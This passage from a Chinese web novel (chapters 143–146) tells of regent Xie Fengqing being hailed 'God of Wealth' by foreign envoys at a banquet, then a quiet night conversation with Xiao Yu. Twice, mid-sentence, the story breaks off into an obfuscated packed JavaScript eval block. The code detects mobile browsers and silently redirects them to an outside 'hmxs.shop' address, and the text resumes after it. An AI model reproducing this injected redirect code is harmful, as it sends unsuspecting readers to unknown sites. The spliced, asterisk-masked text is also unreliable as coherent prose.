谢凤卿立于那刚刚停稳、骏马犹自喘息喷鼻的“破浪首阵”旁,飞扬的尘土渐渐落定,阳光穿过尘雾,为她月白色的身影镀上淡淡金辉,玄衣金凤在光影中明灭不定,更显神秘超凡。 她神色平静,目光掠过那些激动万分、乃至涕泗横流的使节,无喜无悲。 然后,她微微抬手。 只是一个简单的、向下虚按的手势。 狂热的呐喊声,如被利刃截断,戛然而止。 千人的广场,再次陷入一片死寂。只有风声,马匹的响鼻,还有压抑的、粗重的呼吸。 她缓缓开口,声音不高,却清晰传入每个人耳中: “今日所见,不过雏形。” “天下通衢,非一日之功。世界**库,亦非一蹴而就。” “然——” 她顿了顿,凤眸中锐光一闪,如电劈长空。 “大道之行,天下为公。诸位既有心,便可依方才所呈章程,与财神商会接洽细则。” “一月之后,于洛阳南市,设‘天下通衢筹议会’。各国可遣使参会,共商大计。” “愿同心者,本王扫榻以迎。” “怀异志者——” 她没再说下去,只微微一笑。 那笑容很淡,很冷,如冰湖映月,不见丝毫暖意。 但所有人都读懂了那未尽的寒意。 晨间的“财神”身份大白于天下,午时的“通衢”伟力震撼四夷。 两者相叠,威能岂止倍增? 雄厚财力与鬼斧神工,在今日完美交融,展现出了远超金戈铁马的、更为根本而持久的征服力量。她的个人威仪与王朝对未来的吸引力,已被推至一个旷古烁今、万国景仰的绝巅。 无形的、以资本与工程编织的至尊权柄,已然铸就。 而她,稳稳执掌了这权柄的枢机。 谢凤卿不再看众人,转身,走向观礼台。 玄衣拂过满是尘土的石板地,月白劲装在烈日下泛着清冷的光。 背影挺直,如松如剑。 走向那幅覆盖整墙的、描绘着未来天下脉络的巨图。 走向那个被她亲手撬动的、滚滚向前的时代洪流。 身后,是跪 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殿内,紫檀木为柱,金丝楠木为梁,雕梁画栋,极尽工巧。数百盏宫灯自穹顶垂下,灯影摇曳,映照着铺设其下的猩红波斯地毯,毯上金线绣制的团龙牡丹图案,在光影流动间仿佛活了过来。席设百桌,按品秩高低排列,井然有序。在座者,皆是经过此次朝堂风暴洗礼后留存下来、或由谢凤卿与萧御亲手擢升的中原朝廷重臣、皇室宗亲(皆已明确宣誓效忠新秩序),以及天下有数的顶级商会行首、掌控庞大资源的世家家主。人人身着符合身份的礼服,或**袍玉带,或锦缎华服,神色间虽努力维持着庄重,却难掩眼底深处那激动与肃穆交织的光芒。他们彼此间的低声交谈,也带着一种历史参与者的谨慎与兴奋。 殿外庭院的景象,则更为奇特壮观,堪称一幅活生生的“万国衣冠夜宴图”。 以莹白如雪的汉白玉铺就的广阔场地上,按照不同地域、亲疏关系以及白日“演示”中的表现,被清晰地划分出数十个区块。每个区块内,皆设一紫檀木长案,案上铺着月白杭绸,陈列着鎏金餐具、琉璃酒盏、时鲜瓜果、精美点心。案后设胡凳或锦缎蒲团。此刻,这些席位上坐着的,正是那来自四面八方、经历了一日接连不断视觉与心灵冲击的三十六国使节团主要成员! 他们依旧身着最具本国特色的服饰,色彩斑斓,形制各异,与殿内相对统一的中原衣冠形成了鲜明对比:西戎使者披着厚重的狼皮大氅,**色油亮,散发着草原的粗犷气息;北蛮贵族穿着翻毛皮袄,头戴貂皮帽,身形魁梧;南疆酋长身着五彩斑斓的织锦,颈戴层层银饰,在火光下闪烁;东海岛国的使者穿着宽大的葛麻长袍,发髻奇特;西域诸国的使节则多是长袍缠头,深目高鼻,眼眸中闪烁着精明与探究;南洋岛国的代表则穿着凉爽的纱笼,头戴鲜花编织的花冠,皮肤黝黑,笑容质朴而热切……在庭院四周数十个巨大的、燃烧着松木的铜盆篝火与无数悬挂在丝绳上的琉璃风灯交相辉映下,这些异域服饰仿佛被镀上了一层流动的光晕,形成了一种光怪陆离、却又和谐交融的奇异美感。 第143章全新可能 篝火熊熊,赤红的火舌舔舐着夜空,跳跃的火光不仅驱散了初春夜的微寒,更将所有人脸上因兴奋、激动或许还有一丝不安而泛起的红晕,映照得清清楚楚。空气中,弥漫着烤全羊、炙鹿肉散发出的焦香油脂气息,陈年花雕、葡萄美酒的醇厚芬芳,以及从各国使者身上、他们进献的礼物中散发出的千奇百怪的香料味道——麝香、龙涎、乳香、没药、檀香、丁香……这些气息混合在一起,发酵、升腾,构成了一种独特而热烈的、象征着交流与融合的“国际盛宴”味道。 乐师们分列庭院四周的廊庑之下,演奏的曲目也经过精心安排,可谓中西合璧,古今交融:先是庄重典雅、气势恢宏的中原宫廷雅乐《韶》与《武》,编钟金石之声悠远肃穆;继而转为节奏明快、旋律热烈的西域胡旋舞曲,羯鼓咚咚,胡笳声声,令人忍不住想随之起舞;偶尔又会穿插一段空灵悠远、带着山林气息的南疆芦笙调,如清泉流淌,洗涤心灵。音乐在此刻,成为了超越语言的、沟通不同文明的最佳桥梁。 然而,这场盛宴的气氛,绝非简单的宾主尽欢、联谊畅饮那般轻松。 一种无形的、厚重的、近乎神圣的期待感,如同实质般沉甸甸地笼罩着整个承运殿内外。从殿内的重臣到庭院的使节,所有人都心知肚明,今日自清晨至黄昏,发生的每一件大事——财神现世、**库奠基、通衢蓝图、女学基金——都足以单独载入史册,深刻改变未来世界的走向。而这场夜宴,绝非寻常庆功,它将是这一切惊天事件的“总结陈词”,是面向波澜壮阔未来的“誓师宣言”,更极有可能是某种历史性时刻的“加冕典礼”。每个人都在等待着,等待着那个主导了这一切的身影,给出最终的定论。 戌时正,王府内钟鼓楼上传出悠扬宏亮的钟鼓之声,九响连环,震天动地,仿佛在宣告一个重要时刻的来临。 全场霎时肃静。所有的交谈声、杯盏轻碰声、甚至不自觉的咳嗽声,都消失了。数千道目光,不约而同地,带着无比的敬畏与期待,投向了承运殿那两扇缓缓洞开的朱漆鎏金大门。门轴转动的声音在寂静中显得格外清晰沉重。 谢凤卿自殿内深处缓步而出。 她已再次更衣,换下了白日那象征实干与威仪的银袍与月白劲装,穿上了一身最为庄重、代表最高身份与权力的玄色亲王冕服。礼服以最上等的玄色缯帛为底,上用赤金线、五彩丝线以绝顶绣工,满绣日月星辰、山龙华虫等十二章纹,纹样繁复精美,寓意帝王德行,庄重华美至极,在灯火下流光溢彩,令人不敢逼视。外罩一件同色绣金凤大氅,氅边以雪貂皮**滚镶,更添雍容华贵。头戴七旒冕冠,以白玉珠为旒,共计一百二十六颗,垂落面前,于她行走间轻轻晃动,碰撞发出清脆微响,半掩其倾世容颜,却更添几分威仪莫测,令人望之而生敬畏之心。 腰间,依旧悬着那柄看似朴素的桃木剑。这柄剑与这身极致庄严的冕服形成了奇特的对比,却又意外地和谐,仿佛在昭示着,无论身份如何变幻,权力达到何种巅峰,某些本质的东西,她从未舍弃。 灯火与篝火交织的光芒,如同舞台追光般倾泻在她身上。玄衣如深邃夜空,金绣似璀璨星辰,冕旒珠玉摇曳生辉,投下斑驳光影。她的容颜在珠玉摇曳间若隐若现,清冷绝伦,威严赫赫,这一刻,她恍如从神话中走出的九天玄女临凡,又似统御八荒六合、执掌文明兴替的神王降世。 萧御作为监国亲王,身着绛紫色亲王朝服,袍服上绣有精致的**纹,头戴七梁冠,气度雍容沉静,如同最稳固的磐石,立于高台一侧稍下的位置。他的存在,本身就是对谢凤卿权力最坚实的支撑与背书。 全场数千人,鸦雀无声。只有火把燃烧时松脂的噼啪声,夜风拂过旗角发出的猎猎声响,以及人们自己那压抑不住的、有些急促的心跳声。 谢凤卿步履沉稳,行至殿前特意搭建的、高出地面五尺的汉白玉高台中央,站定。她的目光,先是缓缓扫过殿内那些熟悉或新晋的面孔,然后投向庭院中那一片如同星火般散布的万国席位,掠过每一张或激动、或敬畏、或探究、或期待的脸庞。她的声音,以内力平稳送出,不高亢,却异常清晰、稳定地传到每一个角落,与此同时,早有准备的数十名精通各国语言的通译,在各自负责的区域,用压低的、却同样清晰的声音同步翻译着她的话语。 “今日,二月初四。” 她开口,声音清越如凤鸣九天,穿透沉沉的夜色,直抵每个人的心底深处。 “于本王,于在场诸卿,于远道而来的各位使节,乃至——”她微微停顿,目光似乎望向了更遥远的夜空与未来,“于天下苍生,皆是不凡之日。” 她刻意放缓了语速,让通译们能完整、准确地转述这开篇之语。全场愈静,仿佛连空气都凝固了,落针可闻。 “晨光熹微时,京郊山野,‘财神’之名,现于光天化日之下。”她手臂微抬,纤长的手指指向东方皇陵及更远的山峦方向,仿佛众人的目光能穿透殿宇城墙,再次看到那紫铜巨匾在晨光中反光的景象,“世界**库,于此奠基。愿以此开山裂石、摧城拔寨之力,助各国开疆拓土,守土安邦,化戾气为祥和,变烽火为炊烟。” 庭院外围,那些亲身参与了晨间那场震撼演示的使节们纷纷肃然点头,许多人情不自禁地以手抚胸、或双手合十、或按本族礼仪躬身,面露由衷的感激与敬畏之色。**展示的力量,让他们看到了自身邦国安全与扩张的全新可能。 “日正中天时,京南平原,天下通衢之蓝图,公之于众。”她手臂平移,坚定地指向南方平原方向,声音中多了一份开拓者的豪情,“磐石为基,灰土为骨,将为天下货殖流通、人员往来,开辟前所 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殿内一些思想较为开明的文臣,如几位新任的翰林学士,以及庭院中部分来自文化中女性地位较高或本身就有智慧女性辅政传统的国家的使者(如波斯、部分南洋岛国),纷纷露出深以为然、乃至激动的神色,微微颔首。这超越时代的女学理念,如同投入湖面的石子,在他们心中漾开涟漪。 谢凤卿的声音在此刻陡然拔高,带着一种洞穿表象、直指核心的磅礴力量,如同利剑出鞘,划破夜空: “此三事,看似领域各异:一为军工杀伐,一为交通往来,一为文教传承。然则,其源为一!” 她目光如电,再次扫视全场,那目光似乎能穿透每个人的内心:“源在何处?源在‘利’与‘力’之新生!**,乃破旧立新、改造自然之伟力;通衢,乃沟通有无、加速文明之动力;而资助女学,汇聚天下之财用于开启半数民智,乃是孕育未来、创造无穷可能之生命力!” “然,新力既生,若散逸无序,不过昙花一现。需有枢纽以统合,需有规则以运转,需有坚不可摧之信用以为保障,方能由虚化实,由小及大,由一国而及天下,成就真正万世不移之基业!” 她缓缓抬起右臂,指尖仿佛在虚空中牵引着无数无形的丝线,这些丝线连接着财富、技术、人心、国运,最终,那蕴含着万钧之力的指尖,稳稳地定格于自身: “而承此天命,统合此三力,铸就此新规则,提供此至高信用者——” 她的声音陡然变得如同黄钟大吕,每一个字都仿佛蕴含着天地至理,重重地敲击在历史的长卷上,发出震耳欲聋的回响: “便是经世济民之道!便是流通增值之财!便是——‘财神’二字,所承载的亘古诺言与无上力量!” “轰——!!!” 话音落下的瞬间,全场陷入了一种极致的死寂,仿佛时间停滞了短短一息。每个人都能清晰地听到自己心脏狂跳的声音。随即,如同沉寂万年的火山积蓄了足够的力量轰然喷发,又如同堤坝彻底崩溃,一股惊天动地的声浪猛然爆发出来! 第144章敬——我们共同开创的未来 “财神马甲,全场掉马,经济封神!!”殿内,那位新任的、以干练著称的户部右侍郎,再也按捺不住胸中澎湃欲出的激情,猛地从席位上站起身,不顾礼仪地挥舞着手臂,用尽全身力气嘶声喊出了这句早已在许多人心中翻滚了无数遍、却无人敢率先道破的、近乎偈语的宣告! 这一声,如同投入滚油的火星,瞬间点燃了燎原的烈焰! “财神大帝!!”西戎正使赤红着脸,将手中的金杯狠狠顿在案上,酒液四溅,他朝着高台方向,用生硬的汉话发出野兽般的怒吼! “财神大帝!!”北蛮使者以拳捶胸,发出沉闷的“咚咚”声,声震屋瓦,眼中充满了原始的崇拜与狂热! “财神大帝!!!”江南三十六郡的代表(早已被谢凤卿的手段与格局折服)热泪盈眶,离席伏地,以最恭敬的礼节长呼! “财神大帝!!!”波斯、天竺、大秦、南洋诸国……所有的使节,无论语言是否相通,无论文化差异多大,此刻都抛却了所有的矜持与算计,赤诚地、狂**、异口同声地喊出了这个他们今日已重复无数次、但直到此刻才真正明白其全部重量与含义的至尊尊号! 声浪如海啸,如雷鸣,如地裂山崩!席卷殿宇,冲荡庭院,直上九霄云外!万千火光与灯火在这一刻仿佛都随着这狂热的声浪而摇曳、升腾、变得更加明亮!无数张因激动而扭曲、因虔诚而卑微的脸庞,在跳跃的光影中明灭闪烁,共同构成了一幅名为“万国朝宗,财神封圣”的史诗画卷,这幅画卷必将被历史铭记! 谢凤卿静立高台,玄衣如墨,冕旒上的白玉珠串因声浪的震动而微微摇曳,碰撞出细碎清音。她的面色却沉静如古井深潭,无波无澜,仿佛脚下这足以掀翻屋顶的狂热,早已在她的预料与掌控之中。她缓缓举起手中早已备好的九龙衔珠赤金杯,杯中琼浆玉液,在四周辉煌灯火的映照下,荡漾着诱人的琥珀色光晕。 她面向东方(象征宗庙社稷,王朝根基),将杯中酒液微微倾洒于地,动作庄重;继而转向南方(象征黎民百姓,天下苍生),再次倾洒;最后,她面向西方(使节席位,象征万国)与北方(殿内群臣,象征王朝核心),将杯中剩余的美酒,尽数洒于台前光洁的汉白玉地面上。 清冽的酒液迅速渗入石缝,留下一片深色的、带着醇香的痕迹,宛如以酒为墨,在此处庄重地写下了与历史、与天下、与未来的永恒契约。 “此杯,”她清越的声音,竟奇异地压过了沸腾的声浪,清晰地、稳定地传入每个人耳中,带着一种定鼎乾坤的力量,“敬合作,而非征服。” “敬流通,而非壁垒。” “敬——我们共同开创的未来。” 她放下金杯,目光再次变得辽远而深邃,仿佛穿透了眼前这万千张激动的面孔、万千点璀璨的灯火,看到了更为壮阔、正在被改写的时空长河。 “财神之诺,既已公诸天下,便如日月之昭昭,江河之行地,绝无更改,绝不食言。”她的语调沉稳而坚定,带着一种不容置疑的、源于绝对实力的权威,“世界**库与天下通衢,是帝国未来强健之筋骨,是文明交融畅达之血脉。筋骨强健,血脉畅通,帝国方能顶天立地,步履坚稳,进而福泽四方,德被万邦。” 她的视线,缓缓扫过庭院中那些使节,尤其是那些来自偏远、战乱频仍、文明相对落后地区的使者,眼神中多了一丝不易察觉的、属于更高层次文明引领者的悲悯与期望。 “而天下女学——” 她一字一顿,声音陡然变得无比清晰、无比沉重,如同神灵的巨锤,将接下来的每一个字,都深深地、不可磨灭地镌刻进在场所有人的灵魂深处: “乃是未来之魂魄!是文明得以传承不息、升华净化之神识!筋骨再强健,血脉再畅通,若神识昏聩,方向迷失,不过是一具强大的行尸走肉,终将迷失于力量的迷宫,或腐朽于历史的尘埃。唯有神识清明,方向端正,方能驾驭伟力,成就真正伟岸不朽之文明巨躯,方能引领天下苍生,步入真正的——文明之至高境界!” “故,” 她深吸一口气,那口仿佛吸纳了天地精华的气息,让她的身形在灯火下显得更加挺拔伟岸。玄色绣金凤大氅在夜风中猎猎鼓荡,身后七旒冕冠上的珠玉相互碰撞,发出清脆而庄严的鸣响,如同天籁。她扬起脸,直面那浩瀚星空,也直面这即将被她亲手推向新轨道的天下,发出了那石破天惊、注定要响彻千古、开启一个全新时代的宣告: “财神马甲,既已当众卸下;经济权柄,既已昭示天下。” “本王,谢凤卿——” “便以此身,此名,此心,此诺!” 她双臂缓缓展开,那是一个极具包容性与号召力的姿态,仿佛要以一己之身,拥抱整个纷繁复杂而又充满希望的世界,她的声音如同积蓄了万年的洪流终于找到出口,以奔涌不息、席卷八荒六合之势,宣告: “邀天下有志之士,不分种族,不论国度,不计前嫌——” “共赴此——世·界·经·济·文·明·之·新·纪·元!!!” “新纪元!!!”萧御第一个朗声应和,他上前一步,与谢凤卿并肩而立,声音洪亮,充满了坚定的支持力,声震殿宇! “新纪元!!!”殿内所有重臣,无论老少,无论派系,在此刻都被这宏大的愿景所感染,齐刷刷起身,举杯向着高台方向,发出嘶哑而真诚的嘶吼! “新纪元!!!财神大帝万岁!!!万岁!!!万万岁!!!”万国使节的呼喊,混杂着各种语言的“万岁”之声,汇成了一股足以掀翻屋顶、直撼星辰的狂热巨浪!许多人喊得声嘶力竭,泪流满面,仿佛在这一刻,他们不仅仅是在朝拜一位强大无比的君主,更是在见证一个全新时代的降临,一个他们有幸参与其中的伟大开端!他们看到了力量,看到了财富,更看到了一种超越单纯武力征服的、更为持久和深刻的文明引领力量。 夜宴,在这一刻达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925720|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了辉煌的、前所未有的顶点。 此后,便是更深入细致的交流、具体条款的磋商、未来合作的规划。美酒更醇,歌舞更欢,觥筹交错,笑语喧阗。但所有人的心神,都已被那“新纪元”的宏大宣告所彻底填满,所深深激荡。他们知道,今夜之后,世界的运行规则,已经被这位“财神大帝”以无可抗拒的经济与技术力量,悍然扭转,带入了一条全新的、未知却充满希望的轨道。 一个以超越时代的经济力量为引擎,以尖端技术为驱动,以普及教育(尤其是女子教育)为灵魂,以联通世界、合作共赢为愿景的庞大帝国身影,已然无比清晰、无比巍峨地屹立在世界的东方,投下了覆盖整个已知世界的长长阴影。 它不再仅仅是一个需要警惕或讨好的强大邻国。 它就是未来本身的化身。 它就是无限机遇的象征。 它是——所有渴望生存、发展、进步的邦国,必须追随、必须融入的——新纪元。 承运殿前,汉白玉高台之上。 谢凤卿玄衣冕旒,独立于灯火辉煌与万众欢呼的中央。夜风猎猎,吹动她身后象征无上权柄的七旒冕冠,珠玉摇曳,光影流转,在她周身形成一圈朦胧而神圣的光晕。 她身前,是代表着已知世界各方势力的万国使节,色彩斑斓,此刻皆心悦诚服,俯首称臣,目光中充满了虔诚与热望。 她身后,是承载着古老文明传统与新生力量的帝国核心殿堂,殿内群臣激昂,目光灼灼,充满了对新时代的期待。 而更远处,越过王府巍峨的高墙,是沉浸在寻常夜色中、对即将发生的巨变尚懵懂无知的京城百万生民。他们的命运,以及更遥远地方无数人的命运,都即将被这“新纪元”的浪潮彻底改变,驶向一个深不可测、却又因那高台上的身影而充满无限希望的未来。 户部那曾令人窒息绝望的百万亏空阴霾,早已烟消云散,被“财神”马甲掉落后引发的全球经济核爆般的力量,彻底涤荡干净,化作了支撑庞大计划的基石。 世界**库的基石已然奠定,它将为这个仍以刀剑为主的世界,提供改造自然、捍卫和平(或进行毁灭)的崭新、恐怖的伟力。 天下通衢的蓝图与演示已经震撼人心,它将用磐石与铁流,编织起连接大陆、加速文明碰撞与融合的全新网络。 而满载天下财富、智慧与期望的“天下女学基金”,正如一艘鼓满了时代风帆、配备了最先进引擎的超级巨舰,承载着“教化天下女子”与“联通世界文明”这两大看似遥远却至关重要的终极梦想,义无反顾地驶向那片深不可测、却又因领航者的存在而充满光明的未来蓝海。 历史的车轮,轰然作响,沿着她亲手设定的轨道,碾过旧时代的废墟与荆棘,无可阻挡地,奔向那个属于钢铁、**、资本、启蒙与全球视野的—— 新纪元。 而执掌方向、开启时代的,正是这位玄衣凤眸,智勇足以经天纬地,已然在经济与文明的疆域内,加冕为皇的—— 谢凤卿。 第145章我知道,你所图甚大 京城的喧嚣早已沉淀。白日里万国来朝、经济封神的炽热盛况,化作了深夜里宫墙街巷间流淌的静谧。月色如一层薄薄的银霜,铺洒在摄政王府那重重叠叠的飞檐青瓦之上,给这座白日里权势煊赫、光芒万丈的府邸,披上了一层清冷朦胧的外衣。远处隐约传来更夫敲梆的声响,在空寂的街巷中回荡,更显夜之深沉。 王府深处,承运殿东侧的“澄心斋”书房内,灯火未熄。 谢凤卿并未安寝。 她独自坐在书房南窗下的紫檀木云纹大案前,案头只点了一盏素纱罩的六角宫灯。昏黄柔和的光晕如一层薄纱,勾勒着她侧脸精致而清冷的轮廓。白日那身彰显无上威严的玄色金纹亲王冕服和沉重的七旒冕冠早已卸下,此刻她只穿着一袭月白色的软绸寝衣,外罩一件同色广袖长衫,衣料轻薄柔软,随着她的呼吸微微起伏。墨发如瀑,未束未绾,随意披散在肩头背后,发梢几乎垂至腰间,在灯下泛着流水般的光泽。 窗外,一树老梅尚未凋尽。疏影横斜,暗香浮动,那清冷幽远的梅香随着夜风悄然渗入雕花窗棂,与书房内淡淡的墨香、书卷气息交融在一起。 她手中拿着一卷摊开的《盐铁论》,目光却并未落在那些论述经济国策的字句上。白日种种场景——京郊山野**库前万国使节山呼“财神大帝”的震撼,京南平原通衢蓝图下那些炽热憧憬的目光,女学基金总部那如潮水般汹涌而入的财富洪流与鼎沸人声……如同走马灯般在她脑海中一帧帧掠过,清晰无比。权力、财富、技术、道义、人心……这些复杂而庞大的要素,被她以铁腕与智慧强行拧合在一起,推动着她走向一个愈发宏大、却也注定愈发孤独的位置。 “财神马甲”的当众卸下,看似风光无限,受万国朝拜,实则也将她彻底推至风口浪尖的最中心,再无转圜余地。自此,她谢凤卿这个名字,将与“经济”“财富”“技术”“变革”等概念彻底绑定,再无多少隐秘与缓冲可言。一举一动,一言一行,都将被无数双眼睛放大检视。来自四面八方的压力、诱惑、算计、敌意,只会比以往更加汹涌,更加隐蔽,也更加致命。 她轻轻阖上眼,纤长浓密的睫毛在眼睑下投出两弯浅浅的阴影。指尖无意识地摩挲着书卷冰凉细腻的边缘,那触感让她保持着清醒。一丝极淡的、连她自己都未曾清晰察觉或不愿承认的疲惫,如同深秋的寒露,从心底最深处悄然蔓延开来,浸透着四肢百骸。高处不胜寒,古人之言,直到亲身站在这等位置,方知字字千钧,寒意透骨。 白日里面对万千目光时的从容威严,此刻在独处时渐渐褪去,显露出底下那份属于“人”的、真实的重量。这重量关乎江山社稷,关乎天下苍生,关乎她亲手点燃的、不知将烧向何方的燎原之火。 就在这片寂静与心绪微澜之时,书房外廊下,传来了极其轻微、却异常熟悉的脚步声。 那步伐沉稳有力,节奏分明,每一步的间距和落地时的力道都控制得精准无比,显示出主人极高的武功修为和常年军旅生涯磨砺出的纪律性,更透着一股冷静克制的心性。脚步不疾不徐,由远及近,在寂静的夜里显得格外清晰,却又轻得仿佛怕惊扰了这片宁静。 谢凤卿没有睁眼,只是原本搭在书卷边缘的指尖,几不可察地微微一顿。 脚步声在书房门外停下。 “王爷,萧御求见。”门外传来萧御低沉而清晰的声音。这声音比平日在朝堂上议事时,少了几分公事公办的疏离,多了几分难以言喻的沉凝,仿佛压抑着某种滚烫的情绪,在夜色的衬托下,竟透出几分不同寻常的意味。 谢凤卿缓缓睁开眼眸,眼底映着灯芯跳动的橘色火焰,沉静无波,如同深不见底的古潭。“进。” “吱呀——”一声轻响,雕花楠木门被无声推开。萧御高大的身影踏入书房,随即反手将门轻轻掩上,动作自然流畅,仿佛已做过无数次。他显然也是刚从外面归来不久,身上还穿着白日里的亲王常服——一件深紫色云纹锦袍,只是解去了象征身份的玉带和那柄惯常佩在腰间的长剑,衣襟微敞,露出里面深色的中衣。墨发用一根简单的玉簪束着,许是策马归来被夜风吹拂,几缕碎发不羁地垂落额前,为他向来冷峻威严的面容平添了几分罕见的随性与不羁。他身上带着夜风特有的微凉气息,还夹杂着一丝淡淡的、属于空旷之地的清冽味道。 他的目光,在踏入书房的瞬间,便仿佛被无形的磁石吸引,第一时间牢牢锁定了灯下那个月白色的身影。看到她褪去了所有彰显权势与距离的华饰威严,只着寝衣长衫,墨发披散的近乎家常的模样时,萧御的眸光几不可察地深暗了几分,如同平静的海面下骤然涌动的暗流。他冷硬而棱角分明的面部线条,在昏黄温暖的灯光晕染下,似乎也微妙地柔和了一瞬,那双向来锐利如鹰隼、洞彻人心的眼眸里,翻涌着复杂难辨的情绪。 他没有像往常议事时那样,规规矩矩地行礼,也没有立刻开口说明来意,只是静静地站在那里,目光专注而深沉地凝视着她,仿佛要透过那层清冷疏离的表象,看到她内心深处或许连她自己都未曾全然明了的波澜,看到那个褪去“摄政王”“财神”光环后,真实的谢凤卿。 书房内一时陷入了奇异的寂静。只有素纱宫灯里灯芯偶尔爆出的轻微噼啪声,窗外极细微的风拂梅枝的沙沙声,以及两人几不可闻的、却在此刻显得异常清晰的呼吸声,交织在一起。 谢凤卿抬眸,对上他毫不避讳的凝视。那目光太过直接,太过专注,仿佛带着实质的温度,让她平静的心湖泛起一丝几不可察的涟漪。她面上不显,语气平淡如常:“监国亲王深夜至此,有何要事?”她的视线敏锐地注意到,萧御垂在身侧的右手中,似乎紧紧握着什么东西,被他修长而骨节分明的手指紧紧包裹着,看不清具体形貌,但那握姿却显得异常用力,指节微微泛白。 萧御没有立刻回答她的问题。他向前走了几步,在距离紫檀木书案约五步远处停下。这个距离不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930788|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远不近,既不至于失礼唐突,又比寻常议事奏对时惯常保持的距离,明显更近了几分,近到能让她更清晰地感受到他周身那股存在感极强的气息。他没有看她手中的书卷,也没有看案上陈设,目光始终落在她脸上,缓缓开口,问出了一个完全出乎谢凤卿意料、也太过私人、甚至带着明显逾越关切的问题: “今日……累吗?” 这简单的三个字,被他以低沉而缓和的嗓音问出,在寂静的夜里,在两人独处的空间,显得格外不同。它剥开了“摄政王”与“监国亲王”的身份外衣,直指那个立于高台之上、受万民朝拜身影背后的、作为“人”的本身。 谢凤卿微微一怔,心底那丝涟漪似乎扩大了些许。旋即,她迅速恢复了惯常的淡然,仿佛那瞬间的怔忪从未发生:“尚可。”她的回答简短而克制,将所有的情绪牢牢封锁在内。 萧御点了点头,目光深沉,仿佛早已预料到她会如此回答。他的视线扫过她面前合拢的书卷,又落回她清冷绝伦的容颜上,似乎在仔细地、一寸寸地描摹,又仿佛在斟酌着极其重要、却难以启齿的言辞。素来在朝堂上辩才无碍、在军务中杀伐果决、在万军之前能慷慨陈词激励士气的他,此刻竟显出一丝罕见的迟疑与……紧张。这份紧张被他强大的自制力压抑着,却依旧从他那比平日更沉凝的呼吸、微微绷紧的下颌线条中泄露出来。 “今日,你站在承运殿前那汉白玉高台上,冕旒玄衣,受万国使节跪拜,被尊为‘财神大帝’。”萧御缓缓开口,声音在寂静的书房里显得格外清晰,每一个字都仿佛带着重量,砸在人心上,“我站在你身侧稍后,看着你的背影。” 他顿了顿,眼中闪过极为复杂的神色——有钦佩,有震撼,有一丝不易察觉的疼惜,还有一种更深沉的、几乎要满溢出来的情感。“那一刻,我忽然觉得……你离得很远。不是权力阶序的距离,也不是身份尊卑的距离,而是……你仿佛正在独自走向一个我们所有人都无法完全理解、也无法完全触及的高度与境界。那个高度,光芒万丈,足以照耀千古,或许辉煌至极,也或许……”他的声音低沉下去,带着一种近乎叹息的意味,“孤寒至极。” 谢凤卿眸光微动,纤长的睫毛轻轻颤了颤,如同蝶翼掠过心湖。她没有说话,没有打断,只是静静地听着,放在膝上的手,无意识地微微收拢,指尖陷入柔软的衣料。 “我知道,你所图甚大,所思甚远。世界**库,天下通衢网,四海女学基金……你要改变的,不仅仅是朝堂格局,不仅仅是经济命脉,甚至可能是这天下运行了千百年、根深蒂固的法则。你要开辟的,是一条真正前所未有的路。”萧御的声音愈发低沉,也愈发真挚,那真挚如同淬炼过的精铁,纯粹而滚烫,“这条路,注定荆棘密布,强敌环伺,明枪暗箭层出不穷;也注定……知音难觅,同行者寡,越往上走,能理解你、跟上你的人,便越少。终有一日,或许连可与之言说之人,都将寥寥。” 第146章点点滴滴,早已汇集成溪流 他向前又迈了一步,距离书案仅三步之遥。这个距离,已经近到能让她清晰感受到他身上传来的、属于男子的温热气息,以及一种无形的、强烈到无法忽视的存在感与压迫力——那并非敌意或威胁,而是一种源于绝对力量与绝对意志的、想要靠近、想要守护、想要并肩的强烈意愿。 “从北境风雪并肩作战,生死与共;到回京清理宗室余孽,步步惊心;再到朝堂博弈,追缴亏空,直至今日经济封神,万国来朝……”萧御的目光牢牢锁住她的眼睛,那双深邃的眼眸此刻如同燃着暗火的深渊,不容她有半分回避与退缩,“我萧御,一直都在你身侧。最初,或许是职责所在,是利益权衡,是皇室与权臣之间的制衡与联合,是局势所迫下的必然选择。但不知从何时起……”他声音微哑,带着一种近乎剖白的力量,将那层一直存在却无人捅破的窗户纸,毅然撕开,“这一切都变了。” 他的目光炽热得几乎要烫伤她:“我开始不仅仅是想站在你身侧‘协助’你处理政务、平定四方,我更想站在你身前,为你抵挡明枪暗箭、腥风血雨;站在你身后,为你支撑起一片稳固的天地,让你可以毫无后顾之忧地去实现你的宏图伟略。我不想只是作为一个旁观者,看着你独自一人,步步艰辛地走向那或许孤寒至极的巅峰高处。我想……”他深吸一口气,那口气息悠长而沉重,仿佛用尽了全身的力气,说出了那句在心底盘旋了不知多久的话,“陪你一起走。无论那高处是荣光万丈,享万世敬仰,还是风雪雷霆,受千夫所指。” 谢凤卿的心,在听到这些话时,难以抑制地、重重地一颤。一股陌生的、滚烫的热流猝不及防地冲击着她向来冷静自持的心防。她面上依旧努力维持着平静无波,但交叠置于膝上的手,那纤细白皙的指尖,却控制不住地微微蜷缩了一下,陷进柔软的衣料更深。她不是没有察觉萧御对她的不同。那种超越寻常盟友乃至合作伙伴的维护与回护,那种在许多事情上无需言语便能心领神会的默契,那种在危机关头毫不犹豫的信任、支持甚至是以身相护……点点滴滴,早已汇集成溪流,在她理智构筑的堤坝外悄然流淌。只是,她一直刻意忽略,或者说,是无暇、也不敢去深究。 